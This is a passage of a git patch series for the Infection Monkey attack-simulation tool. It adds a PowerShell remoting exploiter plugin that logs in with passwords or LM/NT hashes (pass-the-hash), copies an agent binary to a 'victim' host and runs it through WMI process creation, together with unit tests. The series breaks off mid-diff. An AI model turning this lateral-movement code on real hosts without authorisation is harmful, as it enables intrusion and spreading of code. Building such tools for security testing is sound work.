From 879fbd97d3a4d38b61e1d362392a681dd12ce8cf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 May 2023 11:27:27 +0000 Subject: [PATCH 01/24] PowerShell: Add AuthOptions for PowerShell --- .../powershell/src/powershell_auth_options.py | 62 +++++++++ .../unit_tests/agent_plugins/conftest.py | 48 +++++++ .../test_powershell_auth_options.py | 119 ++++++++++++++++++ 3 files changed, 229 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py create mode 100644 monkey/tests/unit_tests/agent_plugins/conftest.py create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py new file mode 100644 index 00000000000..f1238699393 --- /dev/null +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_auth_options.py @@ -0,0 +1,62 @@ +from dataclasses import dataclass + +from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext +from common.types import NetworkPort, PortStatus +from infection_monkey.i_puppet import TargetHost + +AUTH_BASIC = "basic" +AUTH_NEGOTIATE = "negotiate" +AUTH_NTLM = "ntlm" +ENCRYPTION_AUTO = "auto" +ENCRYPTION_NEVER = "never" + +POWERSHELL_SSL_PORT = NetworkPort(5986) + + +@dataclass +class AuthOptions: + auth_type: str + encryption: str + ssl: bool + + +def get_auth_options(credentials: Credentials, host: TargetHost) -> AuthOptions: + ssl = _get_ssl(credentials, host) + auth_type = _get_auth_type(credentials) + encryption = _get_encryption(credentials) + + return AuthOptions(auth_type, encryption, ssl) + + +def _get_ssl(credentials: Credentials, host: TargetHost) -> bool: + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + if isinstance(credentials.secret, Password): + if get_plaintext(credentials.secret.password) == "": + return False + + # Check if default PSRemoting ports are open. Prefer with SSL, if both are. + if ( + POWERSHELL_SSL_PORT in host.ports_status.tcp_ports + and host.ports_status.tcp_ports[POWERSHELL_SSL_PORT].status == PortStatus.OPEN + ): # Default for HTTPS + return True + + return False + + +def _get_auth_type(credentials: Credentials): + if isinstance(credentials.secret, Password): + if get_plaintext(credentials.secret.password) == "": + return AUTH_BASIC + + if isinstance(credentials.secret, LMHash) or isinstance(credentials.secret, NTHash): + return AUTH_NTLM + + return AUTH_NEGOTIATE + + +def _get_encryption(credentials: Credentials): + secret = None + if isinstance(credentials.secret, Password): + secret = get_plaintext(credentials.secret.password) + return ENCRYPTION_NEVER if secret == "" else ENCRYPTION_AUTO diff --git a/monkey/tests/unit_tests/agent_plugins/conftest.py b/monkey/tests/unit_tests/agent_plugins/conftest.py new file mode 100644 index 00000000000..2f9d4cc0fff --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/conftest.py @@ -0,0 +1,48 @@ +from unittest.mock import MagicMock + +import pytest + +from common import OperatingSystem +from common.types import NetworkPort, NetworkProtocol, PortStatus +from infection_monkey.i_puppet import PortScanData, TargetHostPorts + + +def _create_windows_host(http_enabled, https_enabled): + no_ssl_port = NetworkPort(5985) + ssl_port = NetworkPort(5986) + + host = MagicMock() + host.operating_system = OperatingSystem.WINDOWS + host.ports_status = TargetHostPorts() + + if http_enabled: + host.ports_status.tcp_ports[no_ssl_port] = PortScanData( + port=no_ssl_port, status=PortStatus.OPEN, protocol=NetworkProtocol.TCP + ) + + if https_enabled: + host.ports_status.tcp_ports[ssl_port] = PortScanData( + port=ssl_port, status=PortStatus.OPEN, protocol=NetworkProtocol.TCP + ) + + return host + + +@pytest.fixture +def https_only_host(): + return _create_windows_host(False, True) + + +@pytest.fixture +def http_only_host(): + return _create_windows_host(True, False) + + +@pytest.fixture +def http_and_https_both_enabled_host(): + return _create_windows_host(True, True) + + +@pytest.fixture +def powershell_disabled_host(): + return _create_windows_host(False, False) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py new file mode 100644 index 00000000000..d9799ba8b7f --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_auth_options.py @@ -0,0 +1,119 @@ +from agent_plugins.exploiters.powershell.src.powershell_auth_options import ( + AUTH_BASIC, + AUTH_NEGOTIATE, + AUTH_NTLM, + ENCRYPTION_AUTO, + ENCRYPTION_NEVER, + get_auth_options, +) + +from common.credentials import Credentials, LMHash, NTHash, Password, Username + +CREDENTIALS_WITH_PASSWORD = Credentials( + identity=Username(username="user1"), secret=Password(password="password1") +) +CREDENTIALS_EMPTY_PASSWORD = Credentials( + identity=Username(username="user2"), secret=Password(password="") +) +CREDENTIALS_NONE_PASSWORD = Credentials(identity=Username(username="user3"), secret=None) +CREDENTIALS_LM_HASH = Credentials( + identity=Username(username="user4"), secret=LMHash(lm_hash="c080132b6f2a0c4e5d1029cc06f48a92") +) +CREDENTIALS_NT_HASH = Credentials( + identity=Username(username="user5"), secret=NTHash(nt_hash="E9F85516721DDC218359AD5280DB4450") +) + + +def test_get_auth_options__ssl_false_with_no_open_ports(powershell_disabled_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, powershell_disabled_host) + assert auth_options.ssl is False + + +def test_get_auth_options__ssl_true_with_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, https_only_host) + + assert auth_options.ssl + + +def test_get_auth_options__ssl_preferred(http_and_https_both_enabled_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_and_https_both_enabled_host) + + assert auth_options.ssl + + +def test_get_auth_options__ssl_true_empty_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, https_only_host) + + assert not auth_options.ssl + + +def test_get_auth_options__ssl_true_none_password(https_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, https_only_host) + + assert auth_options.ssl + + +def test_get_auth_options__ssl_false_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) + + assert not auth_options.ssl + + +def test_get_auth_options__ssl_false_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) + + assert not auth_options.ssl + + +def test_get_auth_options__ssl_false_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) + + assert not auth_options.ssl + + +def test_get_auth_options__auth_type_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) + + assert auth_options.auth_type == AUTH_NEGOTIATE + + +def test_get_auth_options__auth_type_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) + + assert auth_options.auth_type == AUTH_BASIC + + +def test_get_auth_options__auth_type_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) + + assert auth_options.auth_type == AUTH_NEGOTIATE + + +def test_get_auth_options__auth_type_with_LM_hash(http_only_host): + auth_options = get_auth_options(CREDENTIALS_LM_HASH, http_only_host) + + assert auth_options.auth_type == AUTH_NTLM + + +def test_get_auth_options__auth_type_with_NT_hash(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NT_HASH, http_only_host) + + assert auth_options.auth_type == AUTH_NTLM + + +def test_get_auth_options__encryption_with_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, http_only_host) + + assert auth_options.encryption == ENCRYPTION_AUTO + + +def test_get_auth_options__encryption_empty_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, http_only_host) + + assert auth_options.encryption == ENCRYPTION_NEVER + + +def test_get_auth_options__encryption_none_password(http_only_host): + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, http_only_host) + + assert auth_options.encryption == ENCRYPTION_AUTO From 3b5c490854243e3fce87d67295a651947fa11c2c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 May 2023 12:02:34 +0000 Subject: [PATCH 02/24] PowerShell: Add `PowerShellClient` --- .../powershell/src/powershell_client.py | 106 ++++++++++++++++++ .../test_powershell_client_plugin.py | 54 +++++++++ 2 files changed, 160 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/powershell/src/powershell_client.py create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_client_plugin.py diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py new file mode 100644 index 00000000000..4fc2e7a3e75 --- /dev/null +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -0,0 +1,106 @@ +import logging +from pathlib import Path, PurePath +from typing import Optional + +import pypsrp +import spnego +from pypsrp.client import Client +from pypsrp.exceptions import AuthenticationError # noqa: F401 +from pypsrp.powershell import PowerShell, RunspacePool +from urllib3 import connectionpool + +from common.credentials import Credentials, LMHash, NTHash, Password, Username, get_plaintext +from infection_monkey.i_puppet import TargetHost + +from .powershell_auth_options import AuthOptions + +logger = logging.getLogger(__name__) + + +def _set_sensitive_packages_log_level_to_error(): + # If root logger is inherited, extensive and potentially sensitive info could be logged + sensitive_packages = [pypsrp, spnego, connectionpool] + for package in sensitive_packages: + logging.getLogger(package.__name__).setLevel(logging.ERROR) + + +# The pypsrp library requires LM or NT hashes to be formatted like "LM_HASH:NT_HASH" +# +# Example: +# If your LM hash is 1ec78eb5f6edd379351858c437fc3e4e and your NT hash is +# 79a760336ad8c808fee32aa96985a305, then you would pass +# "1ec78eb5f6edd379351858c437fc3e4e:79a760336ad8c808fee32aa96985a305" as the +# `password` parameter to pypsrp. +# +# In our case, we have a set of NT hashes and a set of LM hashes, but we don't +# know if any particular LM/NT hash pair was generated from the same password. +# To avoid confusion, we pair each NT or LM hash with a dummy (i.e. all zeros) +# hash. +def format_password(credentials: Credentials) -> Optional[str]: + secret = credentials.secret + + if not secret: + return secret + + if isinstance(secret, Password): + plaintext_secret = get_plaintext(secret.password) + return plaintext_secret + + if isinstance(secret, LMHash): + plaintext_secret = get_plaintext(secret.lm_hash) + return f"{plaintext_secret}:00000000000000000000000000000000" + + if isinstance(secret, NTHash): + plaintext_secret = get_plaintext(secret.nt_hash) + return f"00000000000000000000000000000000:{plaintext_secret}" + + raise ValueError(f"Unknown secret type {type(secret)}") + + +class PowerShellClient: + def __init__(self): + _set_sensitive_packages_log_level_to_error() + + self._client = None + self._authenticated = False + + def connect_with_user( + self, host: TargetHost, credentials: Credentials, auth_options: AuthOptions, timeout: float + ): + if isinstance(credentials.identity, Username): + self._client = Client( + str(host.ip), + username=credentials.identity.username, + password=format_password(credentials), + cert_validation=False, + auth=auth_options.auth_type, + encryption=auth_options.encryption, + ssl=auth_options.ssl, + connection_timeout=timeout, + ) + + # Attempt to execute dir command to know if authentication was successful. + # This will raise an exception if authentication was not successful. + self._client.execute_cmd("dir") + self._authenticated = True + logger.debug("Successfully authenticated to remote PowerShell service") + + def connected(self) -> bool: + return self._authenticated + + def copy_file(self, src: Path, dest: PurePath): + try: + self._client.copy(str(src), str(dest)) + logger.debug(f"Successfully copied {src}") + except Exception as err: + logger.error(f"Failed to copy {src} to {dest}: {err}") + raise err + + def execute_cmd_as_detached_process(self, cmd: str): + logger.debug("Attempting to execute a command on the remote host as a detached process.") + with self._client.wsman, RunspacePool(self._client.wsman) as pool: + ps = PowerShell(pool) + ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( + "name", "create" + ).add_parameter("ArgumentList", cmd) + ps.invoke() diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_client_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_client_plugin.py new file mode 100644 index 00000000000..52a39cdc3e1 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_client_plugin.py @@ -0,0 +1,54 @@ +import pytest +from agent_plugins.exploiters.powershell.src.powershell_client import format_password +from pydantic import SecretStr + +from common.credentials import Credentials, LMHash, NTHash, Password, SSHKeypair, Username + + +def test_format_cached_credentials(): + expected = None + creds = Credentials(identity=Username(username="test_user"), secret=expected) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_password(): + expected = SecretStr("test_password") + creds = Credentials(identity=Username(username="test_user"), secret=Password(password=expected)) + + actual = format_password(creds) + + assert expected.get_secret_value() == actual + + +def test_format_lm_hash(): + lm_hash = SecretStr("c080132b6f2a0c4e5d1029cc06f48a92") + expected = f"{lm_hash.get_secret_value()}:00000000000000000000000000000000" + creds = Credentials(identity=Username(username="test_user"), secret=LMHash(lm_hash=lm_hash)) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_nt_hash(): + nt_hash = SecretStr("c080132b6f2a0c4e5d1029cc06f48a92") + expected = f"00000000000000000000000000000000:{nt_hash.get_secret_value()}" + + creds = Credentials(identity=Username(username="test_user"), secret=NTHash(nt_hash=nt_hash)) + + actual = format_password(creds) + + assert expected == actual + + +def test_invalid_secret_type(): + creds = Credentials( + identity=Username(username="test_user"), + secret=SSHKeypair(public_key="pkey", private_key="private_key"), + ) + + with pytest.raises(ValueError): + format_password(creds) From 7f1a28576cce31908459471ea9895908a6ecb47b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 May 2023 13:28:15 +0000 Subject: [PATCH 03/24] PowerShell: Implement PowerShellRemoteAccessClient --- .../src/powershell_remote_access_client.py | 114 ++++++++++++ .../test_powershell_remote_access_client.py | 166 ++++++++++++++++++ 2 files changed, 280 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py new file mode 100644 index 00000000000..3ae040dd53d --- /dev/null +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py @@ -0,0 +1,114 @@ +import logging +from pathlib import Path, PurePath +from typing import Callable, Collection, Set, Type + +from common import OperatingSystem +from common.credentials import Credentials +from common.tags import ( + BRUTE_FORCE_T1110_TAG, + EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, + INGRESS_TOOL_TRANSFER_T1105_TAG, + REMOTE_SERVICES_T1021_TAG, + SYSTEM_SERVICES_T1569_TAG, +) +from infection_monkey.exploit.tools import ( + IRemoteAccessClient, + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) +from infection_monkey.exploit.tools.helpers import get_random_file_suffix +from infection_monkey.i_puppet import TargetHost + +from .powershell_auth_options import get_auth_options +from .powershell_client import PowerShellClient +from .powershell_options import PowerShellOptions + +logger = logging.getLogger(__name__) +LOGIN_TAGS = { + REMOTE_SERVICES_T1021_TAG, + BRUTE_FORCE_T1110_TAG, + EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, +} +COPY_FILE_TAGS = { + INGRESS_TOOL_TRANSFER_T1105_TAG, +} +EXECUTION_TAGS = { + REMOTE_SERVICES_T1021_TAG, + EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, + SYSTEM_SERVICES_T1569_TAG, +} + + +class PowerShellRemoteAccessClient(IRemoteAccessClient): + def __init__( + self, + host: TargetHost, + options: PowerShellOptions, + command_builder: Callable[[OperatingSystem, PurePath], str], + powershell_client: PowerShellClient, + ): + self._host = host + self._options = options + self._command_builder = command_builder + self._powershell_client = powershell_client + + def login(self, credentials: Credentials, tags: Set[str]): + tags.update(LOGIN_TAGS) + + try: + auth_options = get_auth_options(credentials, self._host) + self._powershell_client.connect_with_user( + self._host, credentials, auth_options, timeout=self._options.winrm_connect_timeout + ) + except Exception as err: + error_message = f"Failed to authenticate over PowerShell with {credentials}: {err}" + raise RemoteAuthenticationError(error_message) + + def _raise_if_not_authenticated(self, error_type: Type[Exception]): + if not self._powershell_client.connected(): + raise error_type( + "This operation cannot be performed until authentication is successful" + ) + + def get_os(self) -> OperatingSystem: + return OperatingSystem.WINDOWS + + def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): + self._raise_if_not_authenticated(RemoteCommandExecutionError) + + try: + tags.update(EXECUTION_TAGS) + self._powershell_client.execute_cmd_as_detached_process( + self._command_builder(self.get_os(), agent_binary_path) + ) + except Exception as err: + raise RemoteCommandExecutionError(err) + + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): + self._raise_if_not_authenticated(RemoteFileCopyError) + temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") + + logger.debug( + f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" + ) + + self._create_local_agent_file(file, temp_monkey_binary_filepath) + + try: + logger.info(f"Attempting to copy the monkey agent binary to {self._host.ip}") + self._powershell_client.copy_file(temp_monkey_binary_filepath, destination_path) + tags.update(COPY_FILE_TAGS) + except Exception as err: + print("HERE") + raise RemoteFileCopyError(f"Failed to copy the agent binary to the victim: {err}") + finally: + if temp_monkey_binary_filepath.is_file(): + temp_monkey_binary_filepath.unlink() + + def _create_local_agent_file(self, file: bytes, binary_path: Path): + with open(binary_path, "wb") as f: + f.write(file) + + def get_writable_paths(self) -> Collection[PurePath]: + return [] diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py new file mode 100644 index 00000000000..a514293a4a7 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py @@ -0,0 +1,166 @@ +from ipaddress import IPv4Address +from pathlib import PureWindowsPath +from typing import List +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.powershell.src.powershell_client import PowerShellClient +from agent_plugins.exploiters.powershell.src.powershell_options import PowerShellOptions +from agent_plugins.exploiters.powershell.src.powershell_remote_access_client import ( + COPY_FILE_TAGS, + EXECUTION_TAGS, + LOGIN_TAGS, + PowerShellRemoteAccessClient, +) +from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS + +from common import OperatingSystem +from common.credentials import Credentials +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import ( + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) +from infection_monkey.i_puppet import TargetHost + +EXPLOITER_TAGS = {"powershell-exploiter", "unit-test"} +CREDENTIALS: List[Credentials] = [] +DESTINATION_PATH = PureWindowsPath("C:\\destination_path") +FILE = b"file content" +TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + + +def stub_command_builder(*args, **kwargs): + return "command" + + +@pytest.fixture +def mock_powershell_client(): + client = MagicMock(spec=PowerShellClient) + client.connected.return_value = False + + def set_connected(value: bool): + client.connected.return_value = value + + client.connect_with_user.side_effect = lambda *_, **__: set_connected(True) + + return client + + +@pytest.fixture +def mock_agent_binary_repository() -> IAgentBinaryRepository: + return MagicMock(spec=IAgentBinaryRepository) + + +@pytest.fixture +def powershell_remote_access_client(mock_powershell_client) -> PowerShellRemoteAccessClient: + return PowerShellRemoteAccessClient( + TARGET_HOST, PowerShellOptions(), stub_command_builder, mock_powershell_client + ) + + +def test_login__succeeds( + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + powershell_remote_access_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) + + +def test_login__fails( + mock_powershell_client: PowerShellClient, + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_powershell_client.connect_with_user.side_effect = Exception() + + with pytest.raises(RemoteAuthenticationError): + powershell_remote_access_client.login(FULL_CREDENTIALS[0], tags) + + assert tags == EXPLOITER_TAGS.union(LOGIN_TAGS) + + +def test_execute__fails_if_not_authenticated( + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + with pytest.raises(RemoteCommandExecutionError): + powershell_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS + + +def test_execute__fails_if_command_not_executed( + mock_powershell_client: PowerShellClient, + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_powershell_client.execute_cmd_as_detached_process.side_effect = Exception("file") + powershell_remote_access_client.login(FULL_CREDENTIALS[0], set()) + + with pytest.raises(RemoteCommandExecutionError): + powershell_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) + + +def test_execute__succeeds( + mock_powershell_client: PowerShellClient, + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + + powershell_remote_access_client.login(FULL_CREDENTIALS[0], set()) + powershell_remote_access_client.execute_agent(DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(EXECUTION_TAGS) + + +def test_copy_file__fails_if_not_authenticated( + mock_powershell_client: PowerShellClient, + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_powershell_client.connected.return_value = False + + with pytest.raises(RemoteFileCopyError): + powershell_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS + + +def test_copy_file__fails_if_client_copy_fails( + mock_powershell_client: PowerShellClient, + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + mock_powershell_client.connected.return_value = True + mock_powershell_client.copy_file.return_value = True + mock_powershell_client.copy_file.side_effect = Exception("file") + + with pytest.raises(RemoteFileCopyError): + powershell_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS + + +def test_copy_file__success( + mock_powershell_client: PowerShellClient, + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + tags = EXPLOITER_TAGS.copy() + powershell_remote_access_client.login(FULL_CREDENTIALS[0], set()) + + powershell_remote_access_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(COPY_FILE_TAGS) + + +def test_get_writtable_paths__is_empty( + powershell_remote_access_client: PowerShellRemoteAccessClient, +): + assert powershell_remote_access_client.get_writable_paths() == [] From 4028cda72dd846efead5a6d90ce5666473c13d83 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 May 2023 13:38:18 +0000 Subject: [PATCH 04/24] PowerShell: Add PowerShellRemoteAccessClientFactory --- ...powershell_remote_access_client_factory.py | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py new file mode 100644 index 00000000000..96bc4ec7784 --- /dev/null +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client_factory.py @@ -0,0 +1,27 @@ +from pathlib import PurePath +from typing import Any, Callable + +from common import OperatingSystem +from infection_monkey.exploit.tools import IRemoteAccessClientFactory +from infection_monkey.i_puppet import TargetHost + +from .powershell_client import PowerShellClient +from .powershell_options import PowerShellOptions +from .powershell_remote_access_client import PowerShellRemoteAccessClient + + +class PowerShellRemoteAccessClientFactory(IRemoteAccessClientFactory): + def __init__( + self, + host: TargetHost, + options: PowerShellOptions, + command_builder: Callable[[OperatingSystem, PurePath], str], + ): + self._host = host + self._options = options + self._command_builder = command_builder + + def create(self, **kwargs: Any) -> PowerShellRemoteAccessClient: + return PowerShellRemoteAccessClient( + self._host, self._options, self._command_builder, PowerShellClient() + ) From 30959be80dcd67365f02c0fef8073325e0ca360f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 23 May 2023 14:35:43 +0000 Subject: [PATCH 05/24] PowerShell: Use concrete implementation for PowerShellRemoteAccessClientFactory --- monkey/agent_plugins/exploiters/powershell/src/plugin.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/plugin.py b/monkey/agent_plugins/exploiters/powershell/src/plugin.py index 3403b290fdc..f3601b8f1ca 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/plugin.py +++ b/monkey/agent_plugins/exploiters/powershell/src/plugin.py @@ -23,6 +23,7 @@ from .credentials_generator import generate_powershell_credentials from .powershell_command_builder import build_powershell_command from .powershell_options import PowerShellOptions +from .powershell_remote_access_client_factory import PowerShellRemoteAccessClientFactory logger = logging.getLogger(__name__) @@ -35,11 +36,6 @@ def should_attempt_exploit(host: TargetHost) -> bool: return not all_tcp_ports_are_closed(host, [POWERSHELL_NO_SSL_PORT, POWERSHELL_SSL_PORT]) -class StubPowerShellRemoteAccessClientFactory: - def __init__(*args, **kwargs): - pass - - class Plugin: def __init__( self, @@ -101,7 +97,7 @@ def run( remote_agent_binary_destination_path=get_agent_dst_path(host), otp_provider=self._otp_provider, ) - powershell_exploit_client_factory = StubPowerShellRemoteAccessClientFactory( + powershell_exploit_client_factory = PowerShellRemoteAccessClientFactory( host, powershell_options, command_builder ) From 40512d975a57fb92e0ef5f43a311505e709d40b9 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 23 May 2023 17:27:40 +0000 Subject: [PATCH 06/24] Powershell: Remove unneccessary log statement --- .../exploiters/powershell/src/powershell_remote_access_client.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py index 3ae040dd53d..cb82411d103 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py @@ -100,7 +100,6 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._powershell_client.copy_file(temp_monkey_binary_filepath, destination_path) tags.update(COPY_FILE_TAGS) except Exception as err: - print("HERE") raise RemoteFileCopyError(f"Failed to copy the agent binary to the victim: {err}") finally: if temp_monkey_binary_filepath.is_file(): From bfb2e056ca5512c8954a8cfccfceec8c396c50bb Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 23 May 2023 18:20:29 +0000 Subject: [PATCH 07/24] Powershell: Add docstrings for PowerShellClient --- .../powershell/src/powershell_client.py | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index 4fc2e7a3e75..156fe94b7a2 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -58,6 +58,10 @@ def format_password(credentials: Credentials) -> Optional[str]: class PowerShellClient: + """ + A client for executing commands on a remote host using PowerShell. + """ + def __init__(self): _set_sensitive_packages_log_level_to_error() @@ -67,6 +71,15 @@ def __init__(self): def connect_with_user( self, host: TargetHost, credentials: Credentials, auth_options: AuthOptions, timeout: float ): + """ + Connects to the remote host using the given credentials. + + :param host: The host to connect to + :param credentials: The credentials to use + :param auth_options: The authentication options to use + :param timeout: The timeout for the connection + :raises Exception: If an error occurred while attempting to connect + """ if isinstance(credentials.identity, Username): self._client = Client( str(host.ip), @@ -89,6 +102,13 @@ def connected(self) -> bool: return self._authenticated def copy_file(self, src: Path, dest: PurePath): + """ + Copies a file from the local machine to the remote machine. + + :param src: The path to the file to copy + :param dest: The destination path on the remote machine + :raises Exception: If an error occurred while attempting to copy the file + """ try: self._client.copy(str(src), str(dest)) logger.debug(f"Successfully copied {src}") @@ -97,6 +117,12 @@ def copy_file(self, src: Path, dest: PurePath): raise err def execute_cmd_as_detached_process(self, cmd: str): + """ + Executes a command on the remote host. The command will be executed in detached process + + :param cmd: The command to execute + :raises Exception: If an error occurred while attempting to execute the command + """ logger.debug("Attempting to execute a command on the remote host as a detached process.") with self._client.wsman, RunspacePool(self._client.wsman) as pool: ps = PowerShell(pool) From 23f8b1606b26eed4e143882f413758d4514ab6b0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 23 May 2023 18:26:36 +0000 Subject: [PATCH 08/24] Powershell: Rename PowerShellClient.connect_with_user -> connect --- .../exploiters/powershell/src/powershell_client.py | 2 +- .../powershell/src/powershell_remote_access_client.py | 2 +- .../powershell/test_powershell_remote_access_client.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index 156fe94b7a2..90b219ee7fd 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -68,7 +68,7 @@ def __init__(self): self._client = None self._authenticated = False - def connect_with_user( + def connect( self, host: TargetHost, credentials: Credentials, auth_options: AuthOptions, timeout: float ): """ diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py index cb82411d103..d3970c48cfb 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_remote_access_client.py @@ -58,7 +58,7 @@ def login(self, credentials: 